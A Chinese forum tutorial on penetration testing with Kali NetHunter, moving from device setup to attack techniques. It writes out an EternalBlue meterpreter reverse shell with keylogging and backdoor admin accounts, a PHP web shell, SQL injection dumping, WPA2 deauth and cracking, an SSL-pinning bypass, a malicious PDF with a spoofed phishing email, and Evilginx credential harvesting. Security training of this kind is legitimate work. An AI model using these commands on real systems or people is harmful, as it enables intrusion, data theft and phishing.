活动公告

系统通知
通知:本站资源由网友上传分享,如有违规等问题请到版务模块进行投诉,资源失效请在帖子内回复要求补档,会尽快处理!
10-23 09:31

Kali Linux NetHunter渗透测试实战培训大全从环境配置到高级应用手把手教你成为移动安全测试专家

SunJu_FaceMall

3万

主题

2720

科技点

3万

积分

执行版主

碾压王

积分
32881

塔罗立华奏

执行版主 发表于 2025-8-28 18:10:00 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x
前言

在当今数字化时代,移动设备安全问题日益突出。作为一款基于Android系统的移动渗透测试平台,Kali Linux NetHunter将强大的Kali Linux工具集移植到了移动设备上,使安全研究人员和渗透测试工程师能够随时随地进行安全评估。本文将全面介绍Kali Linux NetHunter的方方面面,从基础环境配置到高级应用技巧,助您成为移动安全测试领域的专家。

1. Kali Linux NetHunter简介

1.1 什么是Kali Linux NetHunter

Kali Linux NetHunter是由Offensive Security开发的一款基于Android的开源移动渗透测试平台。它将完整的Kali Linux工具集移植到移动设备上,并专门针对移动设备安全测试进行了优化。NetHunter支持多种Android设备,包括手机、平板电脑,甚至一些Chromebook。

1.2 NetHunter的主要特点

• 完整的Kali工具集:包含数百种渗透测试工具
• 自定义内核:支持802.11无线注入和USB HID攻击
• 便携性:将强大的渗透测试平台装入口袋
• 多设备支持:支持多种Android设备和架构
• 易于使用的界面:提供直观的图形界面和命令行工具
• 社区支持:拥有活跃的社区和持续的更新

1.3 适用场景

• 无线网络渗透测试
• 移动应用安全评估
• 网络服务安全测试
• 社会工程学演练
• 应急响应和数字取证
• 安全意识培训

2. 环境配置

2.1 系统要求

在开始安装NetHunter之前,需要确保您的设备满足以下基本要求:

• 支持的Android设备(完整列表可在NetHunter官网查询)
• Android系统版本5.0或更高
• 至少4GB的可用存储空间
• 设备需要已解锁Bootloader并安装了自定义恢复(如TWRP)
• 建议设备电池电量充足或连接电源

2.2 准备工作

以Nexus设备为例,解锁Bootloader的步骤如下:
  1. # 1. 启用开发者选项和USB调试
  2. # 在设备上:设置 > 关于手机 > 连续点击"版本号"7次
  3. # 2. 在电脑上安装ADB和Fastboot
  4. # 在Linux系统上:
  5. sudo apt update
  6. sudo apt install android-tools-adb android-tools-fastboot
  7. # 3. 连接设备并验证
  8. adb devices
  9. # 4. 重启到Bootloader
  10. adb reboot bootloader
  11. # 5. 解锁Bootloader(注意:此操作会清除设备上的所有数据)
  12. fastboot oem unlock
  13. # 或者在较新设备上:
  14. fastboot flashing unlock
  15. # 6. 确认解锁并重启设备
  16. fastboot reboot
复制代码

以TWRP为例:
  1. # 1. 下载适用于您设备的TWRP镜像文件
  2. # 例如:wget https://dl.twrp.me/nexus6/twrp-3.3.1-0-shamu.img
  3. # 2. 重启到Bootloader
  4. adb reboot bootloader
  5. # 3. 刷入TWRP
  6. fastboot flash recovery twrp-3.3.1-0-shamu.img
  7. # 4. 重启到Recovery模式(不要直接重启系统)
  8. fastboot reboot recovery
复制代码

2.3 安装Kali NetHunter

访问NetHunter官方网站(https://www.kali.org/get-kali/#kali-mobile)下载适用于您设备的NetHunter镜像文件。通常需要下载以下文件:

• NetHunter ROM(适用于您的设备)
• NetHunter应用程序包
• 可选的NetHunter内核(如果需要)
  1. # 1. 将下载的文件推送到设备
  2. adb push nethunter-*.zip /sdcard/
  3. adb push nethunter-kernel-*.zip /sdcard/
  4. # 2. 重启到TWRP恢复模式
  5. adb reboot recovery
  6. # 3. 在TWRP界面中:
  7. # - 选择"Install"
  8. # - 浏览并选择NetHunter ROM文件
  9. # - 滑动确认安装
  10. # - (可选)返回并选择NetHunter内核文件
  11. # - 滑动确认安装
  12. # - 重启系统
复制代码

2.4 初始设置

安装完成后,在设备的应用程序抽屉中找到并启动NetHunter应用。首次启动时,系统会进行初始化设置。

NetHunter使用chroot技术来运行Kali Linux环境。首次启动时,需要配置chroot环境:
  1. # 在NetHunter终端中:
  2. # 1. 启动Kali服务
  3. nh kservices start
  4. # 2. 更新软件包列表
  5. apt update
  6. # 3. 升级已安装的软件包
  7. apt upgrade -y
  8. # 4. 安装额外的工具(可选)
  9. apt install -y metasploit-framework sqlmap nmap
复制代码

NetHunter支持多种网络配置方式:
  1. # 1. 启用SSH服务(允许远程连接)
  2. service ssh start
  3. # 2. 设置SSH开机自启
  4. update-rc.d ssh enable
  5. # 3. 配置VNC服务(用于图形界面访问)
  6. apt install -y tightvncserver
  7. vncserver :1 -geometry 1280x720 -depth 24
复制代码

3. 基础功能和工具使用

3.1 NetHunter界面介绍

NetHunter提供了直观的用户界面,主要包括以下几个部分:

• 主屏幕:显示系统状态和快速访问常用功能
• Kali Services:管理Kali Linux服务
• NetHunter App:核心应用程序,提供各种工具和功能
• HID Attacks:USB HID攻击功能
• MANA Evil Portal:恶意门户攻击
• MAC Changer:MAC地址修改工具
• NetHunter Terminal:终端应用

3.2 基本命令和操作
  1. # 启动Kali环境
  2. nh kservice start
  3. # 进入Kali shell
  4. nh shell
  5. # 基本Linux命令
  6. ls -la      # 列出文件和目录
  7. cd /path    # 切换目录
  8. pwd         # 显示当前目录
  9. cp file1 file2  # 复制文件
  10. mv file1 file2  # 移动/重命名文件
  11. rm file     # 删除文件
  12. mkdir dir   # 创建目录
  13. rmdir dir   # 删除空目录
  14. rm -rf dir  # 强制删除目录及其内容
  15. # 权限管理
  16. chmod 755 file    # 修改文件权限
  17. chown user:group file  # 修改文件所有者
复制代码
  1. # 更新软件包列表
  2. apt update
  3. # 升级所有软件包
  4. apt upgrade -y
  5. # 安装新软件包
  6. apt install -y package_name
  7. # 搜索软件包
  8. apt search keyword
  9. # 查看软件包信息
  10. apt show package_name
  11. # 卸载软件包
  12. apt remove package_name
  13. # 清理不需要的软件包
  14. apt autoremove -y
复制代码

3.3 网络扫描与枚举
  1. # 安装Nmap
  2. apt install -y nmap
  3. # 基本端口扫描
  4. nmap target_ip
  5. # 全面扫描(所有端口,服务版本检测,OS检测)
  6. nmap -p- -sV -O target_ip
  7. # 扫描特定端口
  8. nmap -p 22,80,443 target_ip
  9. # TCP SYN扫描(半开放扫描)
  10. nmap -sS target_ip
  11. # UDP扫描
  12. nmap -sU target_ip
  13. # 扫描整个网络
  14. nmap 192.168.1.0/24
  15. # 保存扫描结果
  16. nmap -oN scan_results.txt target_ip
复制代码
  1. # 安装Netdiscover
  2. apt install -y netdiscover
  3. # 主动扫描网络
  4. netdiscover -r 192.168.1.0/24
  5. # 被动模式(监听ARP请求)
  6. netdiscover -p
复制代码

3.4 无线网络渗透测试
  1. # 检查无线接口
  2. airmon-ng
  3. # 启动监控模式(假设无线接口为wlan0)
  4. airmon-ng start wlan0
  5. # 验证监控模式接口(通常为wlan0mon)
  6. iwconfig
复制代码
  1. # 扫描附近的无线网络
  2. airodump-ng wlan0mon
  3. # 针对特定网络捕获数据包
  4. airodump-ng --bssid [目标AP的MAC地址] -c [频道] -w capture wlan0mon
  5. # 捕获WPS握手包
  6. airodump-ng --bssid [目标AP的MAC地址] -c [频道] --wps capture wlan0mon
复制代码
  1. # 安装Reaver
  2. apt install -y reaver
  3. # 对目标AP进行WPS攻击
  4. reaver -i wlan0mon -b [目标AP的MAC地址] -c [频道] -vv
  5. # 使用Pixie Dust攻击(更快但成功率较低)
  6. reaver -i wlan0mon -b [目标AP的MAC地址] -c [频道] -K 1 -vv
复制代码

3.5 漏洞扫描
  1. # 下载Nessus(需要从官方网站下载适合ARM架构的版本)
  2. wget https://www.tenable.com/downloads/nessus?loginAttempted=true
  3. # 安装Nessus
  4. dpkg -i Nessus-*.deb
  5. # 启动Nessus服务
  6. /etc/init.d/nessusd start
  7. # 访问Web界面(https://localhost:8834)进行初始配置
复制代码
  1. # 安装OpenVAS
  2. apt install -y openvas
  3. # 初始化OpenVAS
  4. gvm-setup
  5. # 启动OpenVAS服务
  6. gvm-start
  7. # 访问Web界面(https://localhost:9392)进行扫描
复制代码

4. 中级渗透测试技术

4.1 Metasploit Framework使用
  1. # 安装Metasploit Framework
  2. apt install -y metasploit-framework
  3. # 初始化数据库
  4. msfdb init
  5. # 启动Metasploit控制台
  6. msfconsole
复制代码
  1. # 在msfconsole中:
  2. # 搜索模块
  3. search [关键词]
  4. # 使用特定模块
  5. use [模块路径]
  6. # 查看模块选项
  7. show options
  8. # 设置选项
  9. set [选项名] [值]
  10. # 设置目标
  11. set RHOSTS [目标IP]
  12. # 运行模块
  13. run 或 exploit
  14. # 查看会话
  15. sessions -l
  16. # 与会话交互
  17. sessions -i [会话ID]
  18. # 后台当前会话
  19. background
  20. # 退出Metasploit
  21. exit
复制代码
  1. # 启动Metasploit
  2. msfconsole
  3. # 搜索相关模块
  4. search eternalblue
  5. # 使用该模块
  6. use exploit/windows/smb/ms17_010_eternalblue
  7. # 查看模块选项
  8. show options
  9. # 设置目标
  10. set RHOSTS 192.168.1.100
  11. # 设置载荷
  12. set payload windows/x64/meterpreter/reverse_tcp
  13. # 设置监听主机(即您的IP)
  14. set LHOST 192.168.1.50
  15. # 运行攻击
  16. exploit
  17. # 如果成功,您将获得一个Meterpreter会话
  18. # 在Meterpreter会话中,您可以执行以下命令:
  19. # 获取系统信息
  20. sysinfo
  21. # 获取用户信息
  22. getuid
  23. # 提升权限(如果可能)
  24. getsystem
  25. # 查看进程
  26. ps
  27. # 迁移到更稳定的进程
  28. migrate [进程ID]
  29. # 访问文件系统
  30. ls
  31. cd [目录路径]
  32. download [远程文件] [本地路径]
  33. upload [本地文件] [远程路径]
  34. # 启动键盘记录
  35. keyscan_start
  36. # 停止键盘记录并查看结果
  37. keyscan_stop
  38. keyscan_dump
  39. # 截取屏幕
  40. screenshot
  41. # 获取桌面
  42. desktop
  43. # 创建新用户
  44. net user [用户名] [密码] /add
  45. # 将用户添加到管理员组
  46. net localgroup administrators [用户名] /add
  47. # 启用远程桌面
  48. reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  49. # 退出Meterpreter会话
  50. exit
复制代码

4.2 Web应用渗透测试
  1. # 安装SQLMap
  2. apt install -y sqlmap
  3. # 基本SQL注入测试
  4. sqlmap -u "http://example.com/page.php?id=1"
  5. # 指定数据库类型
  6. sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql
  7. # 获取所有数据库
  8. sqlmap -u "http://example.com/page.php?id=1" --dbs
  9. # 获取指定数据库的表
  10. sqlmap -u "http://example.com/page.php?id=1" -D [数据库名] --tables
  11. # 获取指定表的内容
  12. sqlmap -u "http://example.com/page.php?id=1" -D [数据库名] -T [表名] --dump
  13. # 使用POST请求
  14. sqlmap -u "http://example.com/login.php" --data="username=admin&password=pass"
  15. # 使用Cookie
  16. sqlmap -u "http://example.com/page.php?id=1" --cookie="PHPSESSID=abcdef123456"
  17. # 使用User-Agent
  18. sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1)"
  19. # 设置风险级别
  20. sqlmap -u "http://example.com/page.php?id=1" --risk=3
  21. # 设置技术等级
  22. sqlmap -u "http://example.com/page.php?id=1" --level=5
  23. # 绕过WAF
  24. sqlmap -u "http://example.com/page.php?id=1" --tamper=space2comment
  25. # 延迟请求避免检测
  26. sqlmap -u "http://example.com/page.php?id=1" --delay=2
  27. # 保存输出到文件
  28. sqlmap -u "http://example.com/page.php?id=1" -output-dir=/path/to/output
复制代码
  1. # 安装Burp Suite
  2. # 首先,需要安装Java运行时环境
  3. apt install -y default-jre
  4. # 下载Burp Suite Community Edition
  5. wget -O burpsuite_community.jar https://portswigger.net/burp/releases/download?product=community&version=2023.2.1&type=jar
  6. # 运行Burp Suite
  7. java -jar burpsuite_community.jar
  8. # 配置浏览器代理
  9. # 在浏览器中设置代理为127.0.0.1:8080
  10. # 在Burp Suite中:
  11. # 1. Proxy选项卡 > Intercept > 打开 Intercept
  12. # 2. 浏览器访问目标网站,Burp将捕获请求
  13. # 3. 可以修改请求后转发或丢弃
  14. # 4. 使用Spider功能自动爬取网站
  15. # 5. 使用Scanner功能自动扫描漏洞
  16. # 6. 使用Intruder功能进行暴力破解和模糊测试
  17. # 7. 使用Repeater功能手动重放和修改请求
复制代码
  1. # 安装Nikto
  2. apt install -y nikto
  3. # 基本扫描
  4. nikto -h http://example.com
  5. # 使用特定端口
  6. nikto -h http://example.com -p 8080
  7. # 使用SSL
  8. nikto -h https://example.com -ssl
  9. # 指定输出格式
  10. nikto -h http://example.com -format txt -output scan_results.txt
  11. # 使用代理
  12. nikto -h http://example.com -useproxy http://proxy:port
  13. # 设置用户代理
  14. nikto -h http://example.com -useragent "Mozilla/5.0"
  15. # 跟过重定向
  16. nikto -h http://example.com -follow 1
  17. # 扫描特定漏洞
  18. nikto -h http://example.com -Tuning 1
复制代码

4.3 密码攻击
  1. # 安装John the Ripper
  2. apt install -y john
  3. # 基本密码破解(针对密码哈希)
  4. john password_hashes.txt
  5. # 指定密码格式
  6. john --format=md5 password_hashes.txt
  7. # 使用字典攻击
  8. john --wordlist=/usr/share/wordlists/rockyou.txt password_hashes.txt
  9. # 显示已破解的密码
  10. john --show password_hashes.txt
  11. # 增量模式(暴力破解)
  12. john --incremental password_hashes.txt
  13. # 自定义字符集
  14. john --incremental:alnum password_hashes.txt
  15. # 使用规则进行变形
  16. john --wordlist=/usr/share/wordlists/rockyou.txt --rules password_hashes.txt
复制代码
  1. # 安装Hashcat
  2. apt install -y hashcat
  3. # 基本密码破解
  4. hashcat -m 0 -a 0 hash.txt wordlist.txt
  5. # 指定哈希类型(-m参数)
  6. # 常见哈希类型:
  7. # 0 = MD5
  8. # 100 = SHA1
  9. # 1400 = SHA256
  10. # 1700 = SHA512
  11. # 1800 = SHA512(Unix)
  12. # 3200 = bcrypt
  13. # 9400 = NTLM
  14. # 例如,破解SHA256哈希
  15. hashcat -m 1400 -a 0 sha256_hashes.txt wordlist.txt
  16. # 暴力破解模式
  17. hashcat -m 0 -a 3 hash.txt ?l?l?l?l?l?l
  18. # 掩码攻击(已知部分密码)
  19. hashcat -m 0 -a 3 hash.txt known?d?d?d
  20. # 组合攻击(使用多个字典)
  21. hashcat -m 0 -a 1 hash.txt dict1.txt dict2.txt
  22. # 显示已破解的密码
  23. hashcat --show hash.txt
  24. # 恢复中断的会话
  25. hashcat --session session_name --restore
复制代码
  1. # 安装Hydra
  2. apt install -y hydra
  3. # SSH暴力破解
  4. hydra -L users.txt -P passwords.txt ssh://target_ip
  5. # FTP暴力破解
  6. hydra -L users.txt -P passwords.txt ftp://target_ip
  7. # Web表单暴力破解
  8. hydra -L users.txt -P passwords.txt target_ip http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
  9. # 使用代理
  10. hydra -L users.txt -P passwords.txt -M targets.txt ssh
  11. # 设置线程数
  12. hydra -t 16 -L users.txt -P passwords.txt ssh://target_ip
  13. # 设置超时时间
  14. hydra -w 30 -L users.txt -P passwords.txt ssh://target_ip
  15. # 显示详细输出
  16. hydra -V -L users.txt -P passwords.txt ssh://target_ip
  17. # 保存结果到文件
  18. hydra -o results.txt -L users.txt -P passwords.txt ssh://target_ip
复制代码

5. 高级应用和场景

5.1 移动应用渗透测试
  1. # 安装MobSF (Mobile Security Framework)
  2. # 首先,安装Docker
  3. apt install -y docker.io
  4. # 启动Docker服务
  5. systemctl start docker
  6. systemctl enable docker
  7. # 下载MobSF Docker镜像
  8. docker pull opensecurity/mobile-security-framework-mobsf
  9. # 运行MobSF容器
  10. docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
  11. # 访问Web界面 (http://localhost:8000) 上传APK/IPA文件进行分析
复制代码
  1. # 安装Drozer
  2. apt install -y drozer
  3. # 启动Drozer服务器
  4. drozer server start
  5. # 在Android设备上安装Drozer Agent
  6. # 下载Drozer Agent APK并安装到Android设备
  7. # 在设备上启动Drozer Agent并启用"Embedded Server"
  8. # 连接到Drozer服务器
  9. drozer console connect
  10. # 在Drozer控制台中:
  11. # 列出已安装的包
  12. dz> run app.package.list
  13. # 获取应用信息
  14. dz> run app.package.info -a com.example.app
  15. # 查看应用攻击面
  16. dz> run app.package.attacksurface com.example.app
  17. # 列出导出的活动
  18. dz> run app.activity.info -a com.example.app
  19. # 启动导出的活动
  20. dz> run app.activity.start --component com.example.app com.example.app.MainActivity
  21. # 列出内容提供者
  22. dz> run app.provider.info -a com.example.app
  23. # 扫描SQL注入漏洞
  24. dz> run scanner.provider.injection -a com.example.app
  25. # 扫描目录遍历漏洞
  26. dz> run scanner.provider.traversal -a com.example.app
  27. # 列出服务
  28. dz> run app.service.info -a com.example.app
  29. # 列出广播接收器
  30. dz> run app.receiver.info -a com.example.app
复制代码
  1. # 安装Frida
  2. pip install frida-tools
  3. # 在Android设备上安装Frida Server
  4. # 下载适用于设备架构的Frida Server
  5. adb push frida-server /data/local/tmp/
  6. adb shell "chmod +x /data/local/tmp/frida-server"
  7. adb shell "/data/local/tmp/frida-server &"
  8. # 检查Frida是否正常运行
  9. frida-ps -U
  10. # 使用Frida脚本Hook方法
  11. # 创建一个JavaScript脚本,例如hook.js:
  12. /*
  13. console.log("Script loaded successfully");
  14. Java.perform(function() {
  15.     var MainActivity = Java.use("com.example.app.MainActivity");
  16.    
  17.     MainActivity.onClick.implementation = function(v) {
  18.         console.log("onClick called");
  19.         console.log("Arguments: " + v);
  20.         
  21.         // 调用原始方法
  22.         this.onClick(v);
  23.         
  24.         // 修改返回值或执行其他操作
  25.     }
  26. });
  27. */
  28. # 运行Frida脚本
  29. frida -U -l hook.js -f com.example.app
  30. # 使用Frida跟踪方法调用
  31. frida-trace -U -i "Java.*" com.example.app
  32. # 使用Frida拦截SSL证书验证
  33. # 创建一个ssl_pinning_bypass.js脚本:
  34. /*
  35. setTimeout(function() {
  36.     Java.perform(function() {
  37.         console.log("");
  38.         console.log("[.] SSL Pinning Bypass/Re-Pinning");
  39.         
  40.         var CertificateFactory = Java.use("java.security.cert.CertificateFactory");
  41.         var FileInputStream = Java.use("java.io.FileInputStream");
  42.         var BufferedInputStream = Java.use("java.io.BufferedInputStream");
  43.         var X509Certificate = Java.use("java.security.cert.X509Certificate");
  44.         var KeyStore = Java.use("java.security.KeyStore");
  45.         var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");
  46.         var SSLContext = Java.use("javax.net.ssl.SSLContext");
  47.         
  48.         // Load CAs from an InputStream
  49.         console.log("[+] Loading CAs...");
  50.         var cf = CertificateFactory.getInstance("X.509");
  51.         
  52.         try {
  53.             var fileInputStream = FileInputStream.$new("/system/etc/security/cacerts/bks");
  54.         } catch (err) {
  55.             console.log(err);
  56.             console.log("[+] Using alternative CA...");
  57.             var fileInputStream = FileInputStream.$new("/system/etc/security/cacerts");
  58.         }
  59.         
  60.         var bufferedInputStream = BufferedInputStream.$new(fileInputStream);
  61.         var ca = cf.generateCertificate(bufferedInputStream);
  62.         bufferedInputStream.close();
  63.         
  64.         var certArray = Java.array("java.security.cert.X509Certificate", [ca]);
  65.         console.log("[+] Our CA: " + ca.getSubjectDN());
  66.         
  67.         // Create a KeyStore containing our trusted CAs
  68.         console.log("[+] Creating a KeyStore for our CA...");
  69.         var keyStoreType = KeyStore.getDefaultType();
  70.         var keyStore = KeyStore.getInstance(keyStoreType);
  71.         keyStore.load(null, null);
  72.         keyStore.setCertificateEntry("ca", ca);
  73.         
  74.         // Create a TrustManager that trusts the CAs in our KeyStore
  75.         console.log("[+] Creating a TrustManager that trusts the CA in our KeyStore...");
  76.         var tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
  77.         var tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
  78.         tmf.init(keyStore);
  79.         
  80.         console.log("[+] Our TrustManager is ready...");
  81.         
  82.         console.log("[+] Hijacking SSLContext methods now...");
  83.         console.log("[-] Waiting for the app to invoke SSLContext.init()...");
  84.         
  85.         SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(keyManager, trustManager, secureRandom) {
  86.             console.log("[+] App invoked SSLContext.init()...");
  87.             console.log("[+] Hijacking TrustManagers...");
  88.             SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").call(this, keyManager, tmf.getTrustManagers(), secureRandom);
  89.             console.log("[+] Our TrustManagers are initialized.");
  90.         };
  91.         
  92.         console.log("[+] SSL Pinning Bypass is ready.");
  93.     });
  94. }, 0);
  95. */
  96. # 运行SSL Pinning绕过脚本
  97. frida -U -l ssl_pinning_bypass.js -f com.example.app --no-pause
复制代码

5.2 社会工程学攻击
  1. # 安装SET
  2. apt install -y set
  3. # 启动SET
  4. setoolkit
  5. # 在SET菜单中选择:
  6. # 1) Social-Engineering Attacks
  7. # 2) Website Attack Vectors
  8. # 3) Credential Harvester Attack Method
  9. # 4) Site Cloner
  10. # 然后输入要克隆的网站URL和您的IP地址
  11. # 或者使用命令行选项:
  12. setoolkit --website-attack
  13. setoolkit --webattack
  14. setoolkit --webattack harvester
  15. setoolkit --webattack harvester site-clone
复制代码
  1. # 启动Metasploit
  2. msfconsole
  3. # 使用社会工程学模块
  4. use exploit/multi/fileformat/adobe_pdf_embedded_exe_nojs
  5. # 设置选项
  6. set FILENAME document.pdf
  7. set INFILENAME /usr/share/doc/adobe-pdf/embedded_exe.pdf
  8. set EXENAME payload.exe
  9. set OUTPUTPATH /root/
  10. # 生成恶意PDF文件
  11. exploit
  12. # 或者使用钓鱼攻击模块
  13. use auxiliary/spoof/email/send_email
  14. # 设置选项
  15. set FROM security@company.com
  16. set TO target@example.com
  17. set SUBJECT "Important Security Update"
  18. set BODY "Please open the attached document for important security updates."
  19. set ATTACHMENT /root/document.pdf
  20. # 发送钓鱼邮件
  21. exploit
复制代码
  1. # 安装Evilginx
  2. # 首先,安装Go
  3. apt install -y golang
  4. # 设置Go环境变量
  5. export GOPATH=$HOME/go
  6. export PATH=$PATH:$GOPATH/bin
  7. # 安装Evilginx
  8. go install github.com/kgretzky/evilginx@latest
  9. # 创建配置目录
  10. mkdir -p ~/.evilginx
  11. # 下载示例配置
  12. wget https://raw.githubusercontent.com/kgretzky/evilginx/master/samples/phishlets/linkedin.yaml -O ~/.evilginx/linkedin.yaml
  13. # 启动Evilginx
  14. evilginx
  15. # 在Evilginx控制台中:
  16. # 配置域名
  17. config domain evil.example.com
  18. # 加载钓鱼页面
  19. phishlets hostname linkedin evil.example.com
  20. # 启动钓鱼页面
  21. phishlets enable linkedin
  22. # 查看会话
  23. sessions
  24. # 获取捕获的凭证
  25. sessions [session_id]
复制代码

5.3 网络流量分析
  1. # 安装Wireshark
  2. apt install -y wireshark
  3. # 启动Wireshark图形界面
  4. wireshark
  5. # 或者使用tshark命令行工具
  6. # 安装tshark
  7. apt install -y tshark
  8. # 捕获所有网络接口上的流量
  9. tshark -i any
  10. # 捕获特定接口上的流量
  11. tshark -i wlan0
  12. # 捕获特定端口的流量
  13. tshark -i wlan0 -f "port 80 or port 443"
  14. # 保存捕获的数据包到文件
  15. tshark -i wlan0 -w capture.pcap
  16. # 读取保存的数据包文件
  17. tshark -r capture.pcap
  18. # 显示捕获的数据包的详细信息
  19. tshark -V -r capture.pcap
  20. # 过滤特定协议的数据包
  21. tshark -r capture.pcap -Y "http"
  22. # 提取HTTP请求
  23. tshark -r capture.pcap -Y "http.request" -T fields -e http.request.uri
  24. # 提取HTTP响应
  25. tshark -r capture.pcap -Y "http.response" -T fields -e http.response.code
  26. # 提取DNS查询
  27. tshark -r capture.pcap -Y "dns" -T fields -e dns.qry.name
  28. # 统计流量
  29. tshark -r capture.pcap -q -z io,stat,1
复制代码
  1. # 安装tcpdump
  2. apt install -y tcpdump
  3. # 捕获所有网络接口上的流量
  4. tcpdump -i any
  5. # 捕获特定接口上的流量
  6. tcpdump -i wlan0
  7. # 捕获特定数量的数据包
  8. tcpdump -c 100 -i wlan0
  9. # 捕获特定端口的流量
  10. tcpdump -i wlan0 port 80
  11. # 捕获特定主机的流量
  12. tcpdump -i wlan0 host 192.168.1.100
  13. # 捕获特定协议的流量
  14. tcpdump -i wlan0 icmp
  15. # 保存捕获的数据包到文件
  16. tcpdump -i wlan0 -w capture.pcap
  17. # 读取保存的数据包文件
  18. tcpdump -r capture.pcap
  19. # 显示数据包的十六进制和ASCII内容
  20. tcpdump -i wlan0 -X
  21. # 显示数据包的详细信息
  22. tcpdump -i wlan0 -v
  23. # 过滤特定源IP的流量
  24. tcpdump -i wlan0 src 192.168.1.100
  25. # 过滤特定目的IP的流量
  26. tcpdump -i wlan0 dst 192.168.1.100
  27. # 过滤特定源端口的流量
  28. tcpdump -i wlan0 src port 80
  29. # 过滤特定目的端口的流量
  30. tcpdump -i wlan0 dst port 80
  31. # 组合过滤条件
  32. tcpdump -i wlan0 src 192.168.1.100 and dst port 80
复制代码
  1. # 安装NetworkMiner(需要Mono运行时环境)
  2. # 首先,安装Mono
  3. apt install -y mono-complete
  4. # 下载NetworkMiner
  5. wget https://www.netresec.com/?download=NetworkMiner
  6. # 解压NetworkMiner
  7. unzip NetworkMiner_*_*.zip
  8. # 运行NetworkMiner
  9. mono NetworkMiner.exe
  10. # 在NetworkMiner中:
  11. # 1. 打开捕获的数据包文件(File > Open PCAP file)
  12. # 2. 查看提取的文件(Files选项卡)
  13. # 3. 查看主机信息(Hosts选项卡)
  14. # 4. 查看会话信息(Sessions选项卡)
  15. # 5. 查看凭证信息(Credentials选项卡)
  16. # 6. 查看DNS查询(DNS选项卡)
  17. # 7. 查看消息(Messages选项卡)
复制代码

6. 实战案例

6.1 无线网络渗透测试案例

某公司要求对其办公区域的无线网络进行安全评估,以检测潜在的安全漏洞和风险。
  1. # 1. 信息收集
  2. # 启动无线网卡监控模式
  3. airmon-ng start wlan0
  4. # 扫描周围的无线网络
  5. airodump-ng wlan0mon
  6. # 记录目标网络信息:
  7. # - ESSID: Company_WiFi
  8. # - BSSID: 00:11:22:33:44:55
  9. # - 频道: 6
  10. # - 加密: WPA2
  11. # 2. 捕获握手包
  12. # 针对目标网络捕获数据包
  13. airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w capture wlan0mon
  14. # 在另一个终端,进行去认证攻击以加速握手包捕获
  15. aireplay-ng --deauth 10 -a 00:11:22:33:44:55 wlan0mon
  16. # 3. 密码破解
  17. # 使用字典攻击破解WPA2密码
  18. aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
  19. # 4. WPS攻击
  20. # 检查目标网络是否启用WPS
  21. wash -i wlan0mon
  22. # 如果启用WPS,使用Reaver进行攻击
  23. reaver -i wlan0mon -b 00:11:22:33:44:55 -c 6 -vv
  24. # 5. 连接到网络并进行内部测试
  25. # 连接到网络
  26. nmcli dev wifi connect Company_WiFi password cracked_password
  27. # 扫描内部网络
  28. nmap -sn 192.168.1.0/24
  29. # 对发现的设备进行端口扫描
  30. nmap -sV -O 192.168.1.1-100
  31. # 6. 生成报告
  32. # 将所有发现和结果整理成报告
复制代码

通过测试发现以下安全问题:

1. WPA2密码较弱,容易被字典攻击破解
2. WPS功能启用,存在PIN码暴力破解风险
3. 内部网络设备存在未授权访问风险
4. 部分设备运行过时软件,存在已知漏洞

1. 更改无线网络密码为强密码(至少12位,包含大小写字母、数字和特殊字符)
2. 禁用WPS功能
3. 实施网络隔离,将访客网络与内部网络分离
4. 定期更新设备固件和软件
5. 实施网络访问控制(NAC)解决方案

6.2 Web应用渗透测试案例

某电子商务公司要求对其网站进行安全评估,以检测潜在的安全漏洞和风险。
  1. # 1. 信息收集
  2. # 使用Nmap扫描目标服务器
  3. nmap -sV -O -p- 192.168.1.100
  4. # 使用DirBuster扫描目录和文件
  5. dirb http://example.com
  6. # 使用WhatWeb识别技术栈
  7. whatweb http://example.com
  8. # 2. 漏洞扫描
  9. # 使用Nikto扫描Web服务器
  10. nikto -h http://example.com
  11. # 使用SQLMap扫描SQL注入漏洞
  12. sqlmap -u "http://example.com/product.php?id=1" --batch --level=5 --risk=3
  13. # 使用OWASP ZAP进行自动化扫描
  14. # 启动OWASP ZAP
  15. zap.sh
  16. # 配置浏览器代理为127.0.0.1:8080
  17. # 浏览目标网站
  18. # 在ZAP中执行自动扫描
  19. # 3. 手动测试
  20. # 测试XSS漏洞
  21. # 在搜索框中输入:<script>alert('XSS')</script>
  22. # 测试文件上传漏洞
  23. # 尝试上传PHP Web Shell
  24. <?php system($_GET['cmd']); ?>
  25. # 测试权限绕过
  26. # 尝试访问管理页面:http://example.com/admin
  27. # 尝试常见凭据:admin/admin, admin/password, admin/123456
  28. # 4. 利用漏洞
  29. # 如果发现SQL注入,使用SQLMap获取数据
  30. sqlmap -u "http://example.com/product.php?id=1" --dbs
  31. sqlmap -u "http://example.com/product.php?id=1" -D db_name --tables
  32. sqlmap -u "http://example.com/product.php?id=1" -D db_name -T users --dump
  33. # 如果发现文件上传漏洞,尝试获取Web Shell
  34. # 上传Web Shell后访问:
  35. http://example.com/uploads/shell.php?cmd=id
  36. # 尝试提权
  37. # 使用LinEnum.sh脚本进行信息收集
  38. wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
  39. chmod +x LinEnum.sh
  40. ./LinEnum.sh
  41. # 5. 生成报告
  42. # 将所有发现和结果整理成报告
复制代码

通过测试发现以下安全问题:

1. 存在SQL注入漏洞,可能导致数据库信息泄露
2. 存在存储型XSS漏洞,可能导致用户会话劫持
3. 文件上传功能存在安全限制绕过,可能导致远程代码执行
4. 管理面板存在弱密码,可能导致未授权访问
5. 服务器配置不当,存在信息泄露风险

1. 实施输入验证和参数化查询,防止SQL注入攻击
2. 实施输出编码,防止XSS攻击
